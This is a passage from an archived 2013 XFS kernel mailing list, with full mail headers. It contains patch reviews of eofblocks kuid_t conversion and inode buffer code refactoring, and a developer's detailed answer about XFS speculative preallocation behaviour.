XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 How are you reproducing it? Can you take an event trace with trace-cmd and attach the output of the report? Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Fri Jul 26 06:47:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1A0BF7F4E for ; Fri, 26 Jul 2013 06:47:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8F4DBAC004 for ; Fri, 26 Jul 2013 04:47:30 -0700 (PDT) X-ASG-Debug-ID: 1374839249-04cbb02c3eb8740001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HYppyhwQXh90fQqZ for ; Fri, 26 Jul 2013 04:47:29 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6QBlSXd020551 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 07:47:28 -0400 Received: from laptop.bfoster (vpn-50-221.rdu2.redhat.com [10.10.50.221]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6QBlQXZ007502 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 07:47:27 -0400 Message-ID: <51F2610C.4050709@redhat.com> Date: Fri, 26 Jul 2013 07:44:12 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v6 5/7] xfs: create internal eofblocks structure with kuid_t types References: <20130725114942.673238a8@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v6 5/7] xfs: create internal eofblocks structure with kuid_t types In-Reply-To: <20130725114942.673238a8@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374839249 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/25/2013 11:49 AM, Dwight Engen wrote: > Have eofblocks ioctl convert uid_t to kuid_t into internal structure. > Update internal filter matching to compare ids with kuid_t types. > > Signed-off-by: Dwight Engen > --- Looks good. Reviewed-by: Brian Foster > fs/xfs/xfs_fs.h | 2 +- > fs/xfs/xfs_icache.c | 12 ++++++------ > fs/xfs/xfs_icache.h | 43 +++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_ioctl.c | 18 ++++++------------ > 4 files changed, 56 insertions(+), 19 deletions(-) > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > index d046955..7eb4a5e 100644 > --- a/fs/xfs/xfs_fs.h > +++ b/fs/xfs/xfs_fs.h > @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { > * Speculative preallocation trimming. > */ > #define XFS_EOFBLOCKS_VERSION 1 > -struct xfs_eofblocks { > +struct xfs_fs_eofblocks { > __u32 eof_version; > __u32 eof_flags; > uid_t eof_uid; > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index 3f90e1c..ed35584 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -619,7 +619,7 @@ restart: > > /* > * Background scanning to trim post-EOF preallocated space. This is queued > - * based on the 'background_prealloc_discard_period' tunable (5m by default). > + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). > */ > STATIC void > xfs_queue_eofblocks( > @@ -1203,15 +1203,15 @@ xfs_inode_match_id( > struct xfs_inode *ip, > struct xfs_eofblocks *eofb) > { > - if (eofb->eof_flags & XFS_EOF_FLAGS_UID && > - ip->i_d.di_uid != eofb->eof_uid) > + if ((eofb->eof_flags & XFS_EOF_FLAGS_UID) && > + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) > return 0; > > - if (eofb->eof_flags & XFS_EOF_FLAGS_GID && > - ip->i_d.di_gid != eofb->eof_gid) > + if ((eofb->eof_flags & XFS_EOF_FLAGS_GID) && > + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) > return 0; > > - if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && > + if ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) && > xfs_get_projid(ip) != eofb->eof_prid) > return 0; > > diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h > index a01afbb..66a1a22 100644 > --- a/fs/xfs/xfs_icache.h > +++ b/fs/xfs/xfs_icache.h > @@ -21,6 +21,14 @@ > struct xfs_mount; > struct xfs_perag; > > +struct xfs_eofblocks { > + __u32 eof_flags; > + kuid_t eof_uid; > + kgid_t eof_gid; > + prid_t eof_prid; > + __u64 eof_min_file_size; > +}; > + > #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ > #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ > > @@ -49,4 +57,39 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, > int flags, void *args), > int flags, void *args, int tag); > > +static inline int > +xfs_fs_eofblocks_from_user( > + struct xfs_fs_eofblocks *src, > + struct xfs_eofblocks *dst) > +{ > + if (src->eof_version != XFS_EOFBLOCKS_VERSION) > + return EINVAL; > + > + if (src->eof_flags & ~XFS_EOF_FLAGS_VALID) > + return EINVAL; > + > + if (memchr_inv(&src->pad32, 0, sizeof(src->pad32)) || > + memchr_inv(src->pad64, 0, sizeof(src->pad64))) > + return EINVAL; > + > + dst->eof_flags = src->eof_flags; > + dst->eof_prid = src->eof_prid; > + dst->eof_min_file_size = src->eof_min_file_size; > + > + dst->eof_uid = INVALID_UID; > + if (src->eof_flags & XFS_EOF_FLAGS_UID) { > + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); > + if (!uid_valid(dst->eof_uid)) > + return EINVAL; > + } > + > + dst->eof_gid = INVALID_GID; > + if (src->eof_flags & XFS_EOF_FLAGS_GID) { > + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); > + if (!gid_valid(dst->eof_gid)) > + return EINVAL; > + } > + return 0; > +} > + > #endif > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 8edc780..6e72eff 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1610,23 +1610,17 @@ xfs_file_ioctl( > return -error; > > case XFS_IOC_FREE_EOFBLOCKS: { > - struct xfs_eofblocks eofb; > + struct xfs_fs_eofblocks eofb; > + struct xfs_eofblocks keofb; > > if (copy_from_user(&eofb, arg, sizeof(eofb))) > return -XFS_ERROR(EFAULT); > > - if (eofb.eof_version != XFS_EOFBLOCKS_VERSION) > - return -XFS_ERROR(EINVAL); > - > - if (eofb.eof_flags & ~XFS_EOF_FLAGS_VALID) > - return -XFS_ERROR(EINVAL); > - > - if (memchr_inv(&eofb.pad32, 0, sizeof(eofb.pad32)) || > - memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) > - return -XFS_ERROR(EINVAL); > + error = xfs_fs_eofblocks_from_user(&eofb, &keofb); > + if (error) > + return -error; > > - error = xfs_icache_free_eofblocks(mp, &eofb); > - return -error; > + return -xfs_icache_free_eofblocks(mp, &keofb); > } > > default: > From david@fromorbit.com Fri Jul 26 06:50:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 651F77F4E for ; Fri, 26 Jul 2013 06:50:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 470778F8033 for ; Fri, 26 Jul 2013 04:50:26 -0700 (PDT) X-ASG-Debug-ID: 1374839424-04cbb02c3eb8a50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YSPemxFWWws0mQFI for ; Fri, 26 Jul 2013 04:50:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlgIAEth8lF5LPxH/2dsb2JhbABagwa5F4UygRUXdIIkAQEEATocIwULCAMYCSUPBSUDIROICgW5DxaOOoEtB4QFA5dekU2DJiqBLQ Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Jul 2013 21:20:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2gXN-00072q-RP; Fri, 26 Jul 2013 21:50:21 +1000 Date: Fri, 26 Jul 2013 21:50:21 +1000 From: Dave Chinner To: jbr Cc: xfs@oss.sgi.com Subject: Re: understanding speculative preallocation Message-ID: <20130726115021.GO13468@dastard> X-ASG-Orig-Subj: Re: understanding speculative preallocation References: <1374823420041-35002.post@n7.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374823420041-35002.post@n7.nabble.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374839424 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137323 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 26, 2013 at 12:23:40AM -0700, jbr wrote: > Hello, > > I'm looking for general documentation/help with the speculative > preallocation feature in xfs. So far, I haven't really been able to find > any definitive, up to date documentation on it. Read the code - it's documented in the comments. ;) Or ask questions here, because the code changes and the only up to date reference is the code and/or the developers that work on it... > I'm wondering how I can find out definitively which version of xfs I am > using, and what the preallocation scheme in use is. Look at the kernel version, then look at the corresponding source code. > We are running apache kafka on our servers, and kafka uses sequential io to > write data log files. Kafka uses, by default, a maximum log file size of > 1Gb. However, most of the log files end up being 2Gb, and thus the disk > fills up twice as fast as it should. > > We are using xfs on CentOS 2.6.32-358. Is there a way I can know which > version of xfs is built into this version of the kernel? The XFS code is part of the kernel, so look at the kernel source code that CentOS ships. > We are using xfs (mounted with no allocsize specified). I've seen varying > info suggesting this means it either defaults to an allocsize of 64K (which > doesn't seem to match my observations), or that it will use dynamic > preallocation. > > I've also seen hints (but no actual canonical documentation) suggesting that > the dynamic preallocation works by progressively doubling the current file > size (which does match my observations). Well, it started off that way, but it has been refined since to handle many different cases where this behaviour is sub-optimal. > What I'm not clear on, is the scheduling for the preallocation. At what > point does it decide to preallocate the next doubling of space. Depends on the type of IO being done. > Is it when > the current preallocated space is used up, Usually. > or does it happen when the > current space is used up within some threshold. No. > What I'd like to do, is > keep the doubling behavior in tact, but have it capped so it never increases > the file beyond 1Gb. Is there a way to do that? No. > Can I trick the > preallocation to not do a final doubling, if I cap my kafka log files at > say, 900Mb (or some percentage under 1Gb)? No. > There are numerous references to an allocation schedule like this: > > freespace max prealloc size > >5% full extent (8GB) > 4-5% 2GB (8GB >> 2) > 3-4% 1GB (8GB >> 3) > 2-3% 512MB (8GB >> 4) > 1-2% 256MB (8GB >> 5) > <1% 128MB (8GB >> 6) > > I'm just not sure I understand what this is telling me. It seems to tell me > what the max prealloc size is, with being reduced if the disk is nearly > full. Yes, that's correct. Mainline also does this for quota exhaustion, too. > But it doesn't tell me about the progressive doubling in > preallocation (I assume up to a max of 8Gb). Is any of this configurable? No. > Can we specify a max prealloc size somewhere? Use the allocsize mount option. It turns off dynamic behaviour and fixes the pre-allocation size. > The other issue seems to be that after the files are closed (from within the > java jvm), they still don't seem to have their pre-allocated space > reclaimed. Are there known issues with closing the files in java not > properly causing a flush of the preallocated space? Possibly. There's a heuristic that turns of truncation at close - if your applicatin keeps doing "open-write-close" it will not truncate preallocation. Log files typically see this IO pattern from applications, and hence triggering that "no truncate" heuristic is exactly what you want to have happen to avoid severe fragmentation of the log files. > Any help pointing me to any documentation/user guides which accurately > describes this would be appreciated! The mechanism is not documented outside the code as it changes from kernel release to kernel release and supposed to be transparent to userspace. It's being refined and optimisaed as issues are reported. Indeed, I suspect that all your problems would disappear on mainline due to the background removal of preallocation that is no longer needed, and Centos doesn't have that... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jul 26 06:51:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A3CB17F4E for ; Fri, 26 Jul 2013 06:51:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 913FE8F8033 for ; Fri, 26 Jul 2013 04:51:58 -0700 (PDT) X-ASG-Debug-ID: 1374839516-04cb6c2e9cb8bb0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id LxQbgibHKLghwHB5 for ; Fri, 26 Jul 2013 04:51:57 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtIXAHxi8lF5LPxH/2dsb2JhbABagwa5F4UygRUXdASCIAEBBTocIxAIAxgJJQ8FJQMhE4gPuREWj2cHhAUDl16KIocrgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Jul 2013 21:21:37 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V2gYa-00072y-CM; Fri, 26 Jul 2013 21:51:36 +1000 Date: Fri, 26 Jul 2013 21:51:36 +1000 From: Dave Chinner To: Dave Kleikamp Cc: linux-kernel@vger.kernel.org, Alex Elder , xfs@oss.sgi.com, Ben Myers , linux-fsdevel@vger.kernel.org, Andrew Morton , Zach Brown , "Maxim V. Patlasov" Subject: Re: [PATCH V8 27/33] xfs: add support for read_iter and write_iter Message-ID: <20130726115136.GP13468@dastard> X-ASG-Orig-Subj: Re: [PATCH V8 27/33] xfs: add support for read_iter and write_iter References: <1374774659-13121-1-git-send-email-dave.kleikamp@oracle.com> <1374774659-13121-28-git-send-email-dave.kleikamp@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374774659-13121-28-git-send-email-dave.kleikamp@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374839516 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137322 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 25, 2013 at 12:50:53PM -0500, Dave Kleikamp wrote: > Signed-off-by: Dave Kleikamp > Cc: Ben Myers > Cc: Alex Elder > Cc: xfs@oss.sgi.com Looks fine. Acked-by: Dave Chinner -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Fri Jul 26 07:45:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 38FFB29E03 for ; Fri, 26 Jul 2013 07:45:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2958330408A for ; Fri, 26 Jul 2013 05:45:11 -0700 (PDT) X-ASG-Debug-ID: 1374842709-04cbb02c3cbca00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uD8EHdCoXdI8sjkZ for ; Fri, 26 Jul 2013 05:45:09 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6QCj6Eo007445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 26 Jul 2013 08:45:07 -0400 Received: from laptop.bfoster (vpn-50-221.rdu2.redhat.com [10.10.50.221]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6QCj5W1020000 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 26 Jul 2013 08:45:06 -0400 Message-ID: <51F26E8E.4080703@redhat.com> Date: Fri, 26 Jul 2013 08:41:50 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-15-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 14/49] xfs: introduce xfs_inode_buf.c for inode buffer operations In-Reply-To: <1374215120-7271-15-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374842709 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The only thing remaining in xfs_inode.[ch] are the operations that > read, write or verify physical inodes in their underlying buffers. > Move all this code to xfs_inode_buf.[ch] and so we can stop sharing > xfs_inode.[ch] with userspace. > > Signed-off-by: Dave Chinner > --- I noticed Mark mentioned something about this being stale. That aside, I see some whitespace fixups and a clean move otherwise: Reviewed-by: Brian Foster > fs/xfs/Makefile | 1 + > fs/xfs/xfs_inode.c | 413 --------------------------------------------- > fs/xfs/xfs_inode.h | 41 +---- > fs/xfs/xfs_inode_buf.c | 444 +++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_inode_buf.h | 53 ++++++ > 5 files changed, 505 insertions(+), 447 deletions(-) > create mode 100644 fs/xfs/xfs_inode_buf.c > create mode 100644 fs/xfs/xfs_inode_buf.h > > diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile > index ce0b87e..7f2319d 100644 > --- a/fs/xfs/Makefile > +++ b/fs/xfs/Makefile > @@ -75,6 +75,7 @@ xfs-y += xfs_alloc.o \ > xfs_icreate_item.o \ > xfs_inode.o \ > xfs_inode_fork.o \ > + xfs_inode_buf.o \ > xfs_log_recover.o \ > xfs_mount.o \ > xfs_symlink.o \ > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 51e4eb2..cf35d86 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -322,234 +322,6 @@ __xfs_iflock( > finish_wait(wq, &wait.wait); > } > > -/* > - * Check that none of the inode's in the buffer have a next > - * unlinked field of 0. > - */ > -#if defined(DEBUG) > -void > -xfs_inobp_check( > - xfs_mount_t *mp, > - xfs_buf_t *bp) > -{ > - int i; > - int j; > - xfs_dinode_t *dip; > - > - j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; > - > - for (i = 0; i < j; i++) { > - dip = (xfs_dinode_t *)xfs_buf_offset(bp, > - i * mp->m_sb.sb_inodesize); > - if (!dip->di_next_unlinked) { > - xfs_alert(mp, > - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", > - bp); > - ASSERT(dip->di_next_unlinked); > - } > - } > -} > -#endif > - > -static void > -xfs_inode_buf_verify( > - struct xfs_buf *bp) > -{ > - struct xfs_mount *mp = bp->b_target->bt_mount; > - int i; > - int ni; > - > - /* > - * Validate the magic number and version of every inode in the buffer > - */ > - ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; > - for (i = 0; i < ni; i++) { > - int di_ok; > - xfs_dinode_t *dip; > - > - dip = (struct xfs_dinode *)xfs_buf_offset(bp, > - (i << mp->m_sb.sb_inodelog)); > - di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && > - XFS_DINODE_GOOD_VERSION(dip->di_version); > - if (unlikely(XFS_TEST_ERROR(!di_ok, mp, > - XFS_ERRTAG_ITOBP_INOTOBP, > - XFS_RANDOM_ITOBP_INOTOBP))) { > - xfs_buf_ioerror(bp, EFSCORRUPTED); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, > - mp, dip); > -#ifdef DEBUG > - xfs_emerg(mp, > - "bad inode magic/vsn daddr %lld #%d (magic=%x)", > - (unsigned long long)bp->b_bn, i, > - be16_to_cpu(dip->di_magic)); > - ASSERT(0); > -#endif > - } > - } > - xfs_inobp_check(mp, bp); > -} > - > - > -static void > -xfs_inode_buf_read_verify( > - struct xfs_buf *bp) > -{ > - xfs_inode_buf_verify(bp); > -} > - > -static void > -xfs_inode_buf_write_verify( > - struct xfs_buf *bp) > -{ > - xfs_inode_buf_verify(bp); > -} > - > -const struct xfs_buf_ops xfs_inode_buf_ops = { > - .verify_read = xfs_inode_buf_read_verify, > - .verify_write = xfs_inode_buf_write_verify, > -}; > - > - > -/* > - * This routine is called to map an inode to the buffer containing the on-disk > - * version of the inode. It returns a pointer to the buffer containing the > - * on-disk inode in the bpp parameter, and in the dipp parameter it returns a > - * pointer to the on-disk inode within that buffer. > - * > - * If a non-zero error is returned, then the contents of bpp and dipp are > - * undefined. > - */ > -int > -xfs_imap_to_bp( > - struct xfs_mount *mp, > - struct xfs_trans *tp, > - struct xfs_imap *imap, > - struct xfs_dinode **dipp, > - struct xfs_buf **bpp, > - uint buf_flags, > - uint iget_flags) > -{ > - struct xfs_buf *bp; > - int error; > - > - buf_flags |= XBF_UNMAPPED; > - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, > - (int)imap->im_len, buf_flags, &bp, > - &xfs_inode_buf_ops); > - if (error) { > - if (error == EAGAIN) { > - ASSERT(buf_flags & XBF_TRYLOCK); > - return error; > - } > - > - if (error == EFSCORRUPTED && > - (iget_flags & XFS_IGET_UNTRUSTED)) > - return XFS_ERROR(EINVAL); > - > - xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", > - __func__, error); > - return error; > - } > - > - *bpp = bp; > - *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); > - return 0; > -} > - > -STATIC void > -xfs_dinode_from_disk( > - xfs_icdinode_t *to, > - xfs_dinode_t *from) > -{ > - to->di_magic = be16_to_cpu(from->di_magic); > - to->di_mode = be16_to_cpu(from->di_mode); > - to->di_version = from ->di_version; > - to->di_format = from->di_format; > - to->di_onlink = be16_to_cpu(from->di_onlink); > - to->di_uid = be32_to_cpu(from->di_uid); > - to->di_gid = be32_to_cpu(from->di_gid); > - to->di_nlink = be32_to_cpu(from->di_nlink); > - to->di_projid_lo = be16_to_cpu(from->di_projid_lo); > - to->di_projid_hi = be16_to_cpu(from->di_projid_hi); > - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); > - to->di_flushiter = be16_to_cpu(from->di_flushiter); > - to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); > - to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); > - to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); > - to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); > - to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); > - to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); > - to->di_size = be64_to_cpu(from->di_size); > - to->di_nblocks = be64_to_cpu(from->di_nblocks); > - to->di_extsize = be32_to_cpu(from->di_extsize); > - to->di_nextents = be32_to_cpu(from->di_nextents); > - to->di_anextents = be16_to_cpu(from->di_anextents); > - to->di_forkoff = from->di_forkoff; > - to->di_aformat = from->di_aformat; > - to->di_dmevmask = be32_to_cpu(from->di_dmevmask); > - to->di_dmstate = be16_to_cpu(from->di_dmstate); > - to->di_flags = be16_to_cpu(from->di_flags); > - to->di_gen = be32_to_cpu(from->di_gen); > - > - if (to->di_version == 3) { > - to->di_changecount = be64_to_cpu(from->di_changecount); > - to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); > - to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); > - to->di_flags2 = be64_to_cpu(from->di_flags2); > - to->di_ino = be64_to_cpu(from->di_ino); > - to->di_lsn = be64_to_cpu(from->di_lsn); > - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); > - uuid_copy(&to->di_uuid, &from->di_uuid); > - } > -} > - > -void > -xfs_dinode_to_disk( > - xfs_dinode_t *to, > - xfs_icdinode_t *from) > -{ > - to->di_magic = cpu_to_be16(from->di_magic); > - to->di_mode = cpu_to_be16(from->di_mode); > - to->di_version = from ->di_version; > - to->di_format = from->di_format; > - to->di_onlink = cpu_to_be16(from->di_onlink); > - to->di_uid = cpu_to_be32(from->di_uid); > - to->di_gid = cpu_to_be32(from->di_gid); > - to->di_nlink = cpu_to_be32(from->di_nlink); > - to->di_projid_lo = cpu_to_be16(from->di_projid_lo); > - to->di_projid_hi = cpu_to_be16(from->di_projid_hi); > - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); > - to->di_flushiter = cpu_to_be16(from->di_flushiter); > - to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); > - to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); > - to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); > - to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); > - to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); > - to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); > - to->di_size = cpu_to_be64(from->di_size); > - to->di_nblocks = cpu_to_be64(from->di_nblocks); > - to->di_extsize = cpu_to_be32(from->di_extsize); > - to->di_nextents = cpu_to_be32(from->di_nextents); > - to->di_anextents = cpu_to_be16(from->di_anextents); > - to->di_forkoff = from->di_forkoff; > - to->di_aformat = from->di_aformat; > - to->di_dmevmask = cpu_to_be32(from->di_dmevmask); > - to->di_dmstate = cpu_to_be16(from->di_dmstate); > - to->di_flags = cpu_to_be16(from->di_flags); > - to->di_gen = cpu_to_be32(from->di_gen); > - > - if (from->di_version == 3) { > - to->di_changecount = cpu_to_be64(from->di_changecount); > - to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); > - to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); > - to->di_flags2 = cpu_to_be64(from->di_flags2); > - to->di_ino = cpu_to_be64(from->di_ino); > - to->di_lsn = cpu_to_be64(from->di_lsn); > - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); > - uuid_copy(&to->di_uuid, &from->di_uuid); > - } > -} > - > STATIC uint > _xfs_dic2xflags( > __uint16_t di_flags) > @@ -608,191 